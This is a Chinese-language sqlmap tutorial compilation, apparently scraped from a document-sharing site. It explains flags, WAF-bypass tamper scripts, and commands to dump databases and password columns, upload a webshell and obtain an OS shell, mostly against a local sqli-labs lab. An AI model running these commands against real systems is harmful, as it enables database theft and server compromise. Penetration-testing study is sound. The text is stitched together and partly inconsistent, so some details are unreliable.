2、安装过程双击sqlmap.exe文件,会弹出一个安装界面,仔细阅读安装条款,然后点击“下一步”,一直到完成安装。

二、SQLMAP的使用使用SQLMAP的前提是,我们已经发现了可能存在SQL注入漏洞的网页,如果没有发现,可以使用BurpSuite等工具来进行扫描。

1、评估目标在开始使用前,首先要评估目标,看看是否存在SQL注入漏洞,以及目标网页中存在什么样的参数名、参数值等。

2、生成攻击语句使用SQLMAP后,首先需要生成攻击语句,并且将攻击语句中的参数替换成目标网页中的参数,以便攻击成功,一般来说,格式如下:sqlmap.py -u [网址] --data [参数]3、测试目标然后,使用 -a 命令开始测试目标,格式如下:sqlmap.py -u [网址] -a -v 1通过上述命令可以开始测试SQL注入漏洞,检测步骤会自动进行,测试结束后会返回测试结果,如果发现SQL注入漏洞,就可以使用灵活的SQLMAP进行全面的攻击。

4、灵活攻击当发现SQL注入漏洞时,我们可以灵活的进行攻击,格式如下:sqlmap.py -u [网址] -a -v 1 --dbs --tables --columns --dump上述代码不仅可以获取数据库中的相关信息,还可以获取表中的所有字段,并将想要的数据导出,进行深入的攻击利用。

sqlmap使用教程(超详细)

sqlmap使用教程(超详细)

sqlmap使⽤教程(超详细)-u 指定⽬标URL (可以是http协议也可以是https协议)-d 连接数据库--dbs 列出所有的数据库--current-db 列出当前数据库--tables 列出当前的表--columns 列出当前的列-D 选择使⽤哪个数据库-T 选择使⽤哪个表-C 选择使⽤哪个列--dump 获取字段中的数据--batch ⾃动选择yes--smart 启发式快速判断,节约浪费时间--forms 尝试使⽤post注⼊-r 加载⽂件中的HTTP请求(本地保存的请求包txt⽂件)-l 加载⽂件中的HTTP请求(本地保存的请求包⽇志⽂件)-g ⾃动获取Google搜索的前⼀百个结果,对有GET参数的URL测试-o 开启所有默认性能优化--tamper 调⽤脚本进⾏注⼊-v 指定sqlmap的回显等级--delay 设置多久访问⼀次--os-shell 获取主机shell,⼀般不太好⽤,因为没权限-m 批量操作-c 指定配置⽂件,会按照该配置⽂件执⾏动作-data data指定的数据会当做post数据提交-timeout 设定超时时间-level 设置注⼊探测等级--risk 风险等级--identify-waf 检测防⽕墙类型--param-del="分割符" 设置参数的分割符--skip-urlencode 不进⾏url编码--keep-alive 设置持久连接,加快探测速度--null-connection 检索没有body响应的内容,多⽤于盲注--thread 最⼤为10 设置多线程--delay有些web服务器请求访问太过频繁可能会被防⽕墙拦截,使⽤--delay就可以设定两次http请求的延时--safe-url有的web服务器会在多次错误的访问请求后屏蔽所有请求,使⽤--safe-url 就可以每隔⼀段时间去访问⼀个正常的页⾯。

--tamper语法:--tamper ["脚本名称"]当调⽤多个脚本的时候,脚本之间⽤逗号隔开,调⽤的脚本在 sqlmap⽂件夹下的 tamper ⽂件夹中脚本信息apostrophemask.py ⽤UTF-8全⾓字符替换单引号字符apostrophenullencode.py ⽤⾮法双字节unicode字符替换单引号字符appendnullbyte.py 在payload末尾添加空字符编码base64encode.py 对给定的payload全部字符使⽤Base64编码between.py 分别⽤“NOT BETWEEN 0 AND #”替换⼤于号“>”,“BETWEEN # AND #”替换等于号“=”bluecoat.py 在SQL语句之后⽤有效的随机空⽩符替换空格符,随后⽤“LIKE”替换等于号“=”chardoubleencode.py 对给定的payload全部字符使⽤双重URL编码(不处理已经编码的字符)charencode.py 对给定的payload全部字符使⽤URL编码(不处理已经编码的字符)charunicodeencode.py 对给定的payload的⾮编码字符使⽤Unicode URL编码(不处理已经编码的字符)concat2concatws.py ⽤“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例equaltolike.py ⽤“LIKE”运算符替换全部等于号“=”greatest.py ⽤“GREATEST”函数替换⼤于号“>”halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释ifnull2ifisnull.py ⽤“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例lowercase.py ⽤⼩写值替换每个关键字字符modsecurityversioned.py ⽤注释包围完整的查询modsecurityzeroversioned.py ⽤当中带有数字零的注释包围完整的查询multiplespaces.py 在SQL关键字周围添加多个空格nonrecursivereplacement.py ⽤representations替换预定义SQL关键字,适⽤于过滤器overlongutf8.py 转换给定的payload当中的所有字符percentage.py 在每个字符之前添加⼀个百分号randomcase.py 随机转换每个关键字字符的⼤⼩写randomcomments.py 向SQL关键字中插⼊随机注释securesphere.py 添加经过特殊构造的字符串sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logsspace2comment.py ⽤“/**/”替换空格符space2dash.py ⽤破折号注释符“--”其次是⼀个随机字符串和⼀个换⾏符替换空格符space2hash.py ⽤磅注释符“#”其次是⼀个随机字符串和⼀个换⾏符替换空格符space2morehash.py ⽤磅注释符“#”其次是⼀个随机字符串和⼀个换⾏符替换空格符space2mssqlblank.py ⽤⼀组有效的备选字符集当中的随机空⽩符替换空格符space2mssqlhash.py ⽤磅注释符“#”其次是⼀个换⾏符替换空格符space2mysqlblank.py ⽤⼀组有效的备选字符集当中的随机空⽩符替换空格符space2mysqldash.py ⽤破折号注释符“--”其次是⼀个换⾏符替换空格符space2plus.py ⽤加号“+”替换空格符space2randomblank.py ⽤⼀组有效的备选字符集当中的随机空⽩符替换空格符unionalltounion.py ⽤“UNION SELECT”替换“UNION ALL SELECT”unmagicquotes.py ⽤⼀个多字节组合%bf%27和末尾通⽤注释⼀起替换空格符宽字节注⼊varnish.py 添加⼀个HTTP头“X-originating-IP”来绕过WAFversionedkeywords.py ⽤MySQL注释包围每个⾮函数关键字versionedmorekeywords.py ⽤MySQL注释包围每个关键字xforwardedfor.py 添加⼀个伪造的HTTP头“X-Forwarded-For”来绕过WAF-v ["x"]使⽤sqlmap注⼊测试时,可以使⽤ -v [x] 参数来指定回显信息的复杂程度, x 的取值范围为[0~6]:等级解释0只显⽰python错误以及严重信息1同时显⽰基本信息和警告信息2同时显⽰debug信息3同时显⽰注⼊的pyload4同时显⽰HTTP请求5同时显⽰HTTP相应头6同时显⽰HTTP相应页⾯--levellevel有5个等级,默认等级为1,进⾏Cookie测试时使⽤--level 2 ,进⾏use-agent或refer测试时使⽤--level 3 ,进⾏ host 测试时使⽤--level 5–-os-cmd=["命令"] 或 --os-shell=["命令"] 执⾏系统命令利⽤sql-labs-less1测试 whoami 命令sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami选择web服务器⽀持的语⾔选择web服务器的可写⽬录[1] 使⽤默认的[2] ⾃定义位置[3] ⾃定义⽬录列表⽂件[4] 暴⼒搜索我在本地测试,节省时间,我选择2 ,⾃定义路径,然后把路径输⼊在下⾯执⾏命令后的返回结果以下关卡均可⽤get型的⽅法,常规注⼊step1:sqlmap -u ["URL"] //测试是否存在注⼊step2:sqlmap -u ["URL"] -current-db //查询当前数据库step3:sqlmap -u ["URL"] -D ["数据库名"] --tables //查询当前数据库中的所有表step4:sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] --columns //查询指定库中指定表的所有列(字段)step5:sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] -C ["列名"] --dump //打印出指定库中指定表指定列中的字段内容GET型关卡类型sql-labs-less1GET单引号字符型注⼊sql-labs-less2 数字型注⼊sql-labs-less3有括号的单引号报错注⼊sql-labs-less4有括号的双引号报错注⼊sql-labs-less5单引号⼆次注⼊sql-labs-less6双引号⼆次注⼊sql-labs-less7⽂件导⼊导出sql-labs-less8布尔型盲注sql-labs-less9时间型盲注sql-labs-less10双引号时间盲注sql注⼊检测get型:语法:sqlmap -u ["url"]sqlmap -u http://192.168.0.6/sqli-labs-master/Less-1/?id=1post型:先使⽤bp把提交的数据包保存下来或者直接加上post提交的参数语法:sqlmap -r ["请求包的txt⽂件"]sqlmap -r "/root/.sqlmap/post.txt"sql-labs -less1~sql-labs-less9获取当前数据库名称:语法:sqlmap -u [“url”] --current-dbsqlmap -u "http://192.168.0.6/sqli-labs-master/Less-1/?id=1" --current-db获取指定数据库的表名:语法:sqlmap -u [“url”] -D [‘数据库名’] --tablessqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security --tables获取指定数据库指定表中的字段:语法:sqlmap -u [“url”] -D [‘数据库名’] -T[‘表名’] --columnssqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security -T users --columns获取指定数据库指定表的指定字段的字段内容:语法:sqlmap -u [“url”] -D [‘数据库名’] -T [‘表名’] -C [‘字段名1,字段名2,…’] --dumpsqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security -T users -C password --dumpsql-labs-less10sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-10/?id=1" --current-db提升等级 -level 2sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-10/?id=1" -level 2 --current-dbsql-labs-less11~less17常规 POST 注⼊step1:sqlmap -r ["请求头⽂本"] //测试是否存在注⼊step2:sqlmap -r ["请求头⽂本"] --current-db //查询当前数据库step3:sqlmap -r ["请求头⽂本"] -D ["数据库名"] --tables //查询当前数据库的所有表step4:sqlmap -r ["请求头⽂本"] -D ["数据库名"] -T ["表名"] --columns //查询指定库指定表的所有列step5:sqlmap -r ["请求头⽂本"] -D ["数据库名"] -T ["表名"] -C ["列名"] --dump //打印出指定库指定表指定列的所有字段内容POST关卡类型sql-labs-less11基于错误的单引号字符型注⼊sql-labs-less12基于错误的双引号字符型注⼊sql-labs-less13单引号变形双注⼊sql-labs-less14双引号变形双注⼊sql-labs-less15Bool型时间延迟单引号盲注sql-labs-less16Bool型时间延迟双引号盲注sql-labs-less17更新查询注⼊sql-labs-less18Uagent注⼊sql-labs-less19Referer注⼊sql-labs-less20Cookie注⼊sql-labs-less18Header injection - Uagentsqlmap 在对user-agent 注⼊的时候,得在⽂件中的user-agent的参数后⾯加上 *或者不加 * 号,调⽤ --level参数,将等级调⾄ 3级,只有等级为 3级即以上时才能对 user-agent进⾏注⼊sqlmap -r "/root/.sqlmap/post.txt" -level 3sql-labs-less19Header injection - Referer对Referer注⼊和User-agent相同,要么是在Referer后⾯加上 *或者将 level 调⾄ 3 级sql-labs-less20Header injection -Cookie语法:sqlmap -u [“url”] --cookie ["cookie信息"] --level 2sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-20/index.php" --cookie "pma_lang=zh_CN;pma_mcrypt_iv=AoXpKxU5KcY%3D;pmaUser-1=7%2FwV%2BDOfbmI%3D;uname=admin;" --level 2。

sqlmap指南

sqlmap指南

注入分法不同,种类不同,来个简单的分类:1.get型:sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx”2.post型: sqlmap -u “http://xxx.xx.xxx/xx.xxx”–data=”xxxx=xxxx&xxxx=xxx”3.cookie类注入: sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx”–cookie=”xxx=xxx&xxx=xxx”–level=2好,区分完毕再来后续的需要数据库好:–dbs得到数据库名称xxx,需要表: -D xxx –tables得到表名xxxx,需要段:-D xxx -T xxxx –columns得到段内有admin,password,需要值:-D xxx -T xxxx -C “admin,password”–dump那么我们来理解一下,-D -T -C 是干吗的,当然就是知道其名称,指定使用其。

–dbs –tables –columns 是干吗的,当然就是不知道名称,列出来呗–dump 那自然就是字面意思,类似于导出数据的行为其实注入有了上面这几个命令,妥妥的够用了,不过还需要绕waf –tamper=”"注入被识别出来是工具,断开咋办–user-agent=”"再多牛逼的功能都是慢慢积累出来的,别想一口吃成胖子/login.asp有post注入,我想日了,但是我不想出去拷贝post数据,很麻烦,我想让sqlmap自动跑post注入sqlmap -u “/login.asp”–forms很好,上面的命令成功的帮我跑了post注入,并且找到了post的注入点jjj=123sqlmap -u “/login.asp”–forms -p jjj –dbs于是我用上面的命令看看数据库sqlmap -u “/login.asp”–forms -p jjj –is-dba顺便看看当前用户是不是dbasqlmap -u “/login.asp”–forms -p jjj -a用了上面的命令 -a能得到什么呢:自己去看帮助吧。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了。

今天把我一直以来整理的sqlmap笔记发布上来供大家参考。

sqlmap简介sqlmap支持五种不同的注入模式:∙1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

∙2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

∙3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

∙4、联合查询注入,可以使用union的情况下的注入。

∙5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库有MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB检测注入基本格式sqlmap -u “/post.php?id=1″默认使用level1检测全部数据库类型sqlmap -u “/post.php?id=1″ –dbms mysql –level 3指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)跟随302跳转当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,当注入错误的时候,先报错再跳转的时候,不需要跟随302。

目的就是:要追踪到错误信息。

cookie注入当程序有防get注入的时候,可以使用cookie注入sqlmap -u “/shownews.asp” –cookie “id=11″ –level 2(只有level达到2才会检测cookie)从post数据包中注入可以使用burpsuite或者temperdata等工具来抓取post包sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数注入成功后获取数据库基本信息sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 –dbs查询有哪些数据库sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 -D test –tables查询test数据库中有哪些表sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 -D test -T admin –columns查询test数据库中admin表有哪些字段sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 -D test -T admin -C “username,password” –dumpdump出字段username与password中的数据其他命令参考下面从数据库中搜索字段sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password在dedecms数据库中搜索字段admin或者password。

读取与写入文件首先找需要网站的物理路径,其次需要有可写或可读权限。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件(物理路径)–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件(mssql xp_shell)–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径#示例:sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest“e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”使用shell命令:sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell接下来指定网站可写目录:“E:\php\htdocs\dvwa”#注:mysql不支持列目录,仅支持读取单个文件。

sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)sqlmap详细命令:∙–is-dba 当前用户权限(是否为root权限)∙–dbs 所有数据库∙–current-db 网站当前数据库∙–users 所有数据库用户∙–current-user 当前数据库用户∙–random-agent 构造随机user-agent∙–passwords 数据库密码∙–proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理∙–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)——————————————————————————————————Options(选项):∙–version 显示程序的版本号并退出∙-h, –help 显示此帮助消息并退出∙-v VERBOSE 详细级别:0-6(默认为1)Target(目标):以下至少需要设置其中一个选项,设置目标URL。

∙-d DIRECT 直接连接到数据库。

∙-u URL, –url=URL 目标URL。

∙-l LIST 从Burp或WebScarab代理的日志中解析目标。

∙-r REQUESTFILE 从一个文件中载入HTTP请求。

∙-g GOOGLEDORK 处理Google dork的结果作为目标URL。

∙-c CONFIGFILE 从INI配置文件中加载选项。

Request(请求):这些选项可以用来指定如何连接到目标URL。

∙–data=DATA 通过POST发送的数据字符串∙–cookie=COOKIE HTTP Cookie头∙–cookie-urlencode URL 编码生成的cookie注入∙–drop-set-cookie 忽略响应的Set – Cookie头信息∙–user-agent=AGENT 指定HTTP User – Agent头∙–random-agent 使用随机选定的HTTP User – Agent头∙–referer=REFERER 指定HTTP Referer头∙–headers=HEADERS 换行分开,加入其他的HTTP头∙–auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)∙–auth-cred=ACRED HTTP身份验证凭据(用户名:密码)∙–auth-cert=ACERT HTTP认证证书(key_file,cert_file)∙–proxy=PROXY 使用HTTP代理连接到目标URL∙–proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)∙–ignore-proxy 忽略系统默认的HTTP代理∙–delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒∙–timeout=TIMEOUT 等待连接超时的时间(默认为30秒)∙–retries=RETRIES 连接超时后重新连接的时间(默认3)∙–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式∙–safe-url=SAFURL 在测试过程中经常访问的url地址∙–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URLEnumeration(枚举):这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。

此外,您还可以运行您自己的SQL语句。

∙-b, –banner 检索数据库管理系统的标识∙–current-user 检索数据库管理系统当前用户∙–current-db 检索数据库管理系统当前数据库∙–is-dba 检测DBMS当前用户是否DBA∙–users 枚举数据库管理系统用户∙–passwords 枚举数据库管理系统用户密码哈希∙–privileges 枚举数据库管理系统用户的权限∙–roles 枚举数据库管理系统用户的角色∙–dbs 枚举数据库管理系统数据库∙-D DBname 要进行枚举的指定数据库名∙-T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)∙–tables 枚举的DBMS数据库中的表∙–columns 枚举DBMS数据库表列∙–dump 转储数据库管理系统的数据库中的表项∙–dump-all 转储所有的DBMS数据库表中的条目∙–search 搜索列(S),表(S)和/或数据库名称(S)∙-C COL 要进行枚举的数据库列∙-U USER 用来进行枚举的数据库用户∙–exclude-sysdbs 枚举表时排除系统数据库∙–start=LIMITSTART 第一个查询输出进入检索∙–stop=LIMITSTOP 最后查询的输出进入检索∙–first=FIRSTCHAR 第一个查询输出字的字符检索∙–last=LASTCHAR 最后查询的输出字字符检索∙–sql-query=QUERY 要执行的SQL语句∙–sql-shell 提示交互式SQL的shellOptimization(优化):这些选项可用于优化SqlMap的性能。

∙-o 开启所有优化开关∙–predict-output 预测常见的查询输出∙–keep-alive 使用持久的HTTP(S)连接∙–null-connection 从没有实际的HTTP响应体中检索页面长度∙–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)Injection(注入):这些选项可以用来指定测试哪些参数,提供自定义的注入payloads和可选篡改脚本。

∙-p TESTPARAMETER 可测试的参数(S)∙–dbms=DBMS 强制后端的DBMS为此值∙–os=OS 强制后端的DBMS操作系统为这个值∙–prefix=PREFIX 注入payload字符串前缀∙–suffix=SUFFIX 注入payload字符串后缀∙–tamper=TAMPER 使用给定的脚本(S)篡改注入数据Detection(检测):这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。

∙–level=LEVEL 执行测试的等级(1-5,默认为1)∙–risk=RISK 执行测试的风险(0-3,默认为1)∙–string=STRING 查询时有效时在页面匹配字符串∙–regexp=REGEXP 查询时有效时在页面匹配正则表达式∙–text-only 仅基于在文本内容比较网页Techniques(技巧):这些选项可用于调整具体的SQL注入测试。

相关文档
最新文档